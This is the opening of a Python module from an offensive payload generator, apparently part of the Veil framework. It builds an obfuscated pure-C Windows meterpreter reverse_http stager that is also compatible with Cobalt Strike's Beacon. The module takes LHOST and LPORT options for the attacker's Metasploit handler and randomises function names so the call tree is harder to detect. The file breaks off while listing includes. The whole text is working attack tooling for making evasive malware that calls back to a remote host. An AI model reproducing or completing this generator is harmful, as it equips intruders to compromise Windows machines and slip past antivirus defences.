""" Obfuscated, pure C windows/meterpreter/reverse_http. Implements various randomized string processing functions in an attempt to obfuscate the call tree. Also compatible with Cobalt-Strike's Beacon. Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader Module built by @harmj0y """ import random from modules.common import helpers class Payload: def __init__(self): # required options self.shortname = "meter_rev_http" self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" self.language = "c" self.extension = "c" self.rating = "Excellent" # optional # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = {"LHOST" : ["", "IP of the metasploit handler"], "LPORT" : ["8080", "Port of the metasploit handler"], "compile_to_exe" : ["Y", "Compile to an executable"]} def generate(self): sumvalue_name = helpers.randomString() checksum_name = helpers.randomString() winsock_init_name = helpers.randomString() punt_name = helpers.randomString() wsconnect_name = helpers.randomString() # the real includes needed includes = [ "#include " , "#include ", "#include ", "#include ", "#include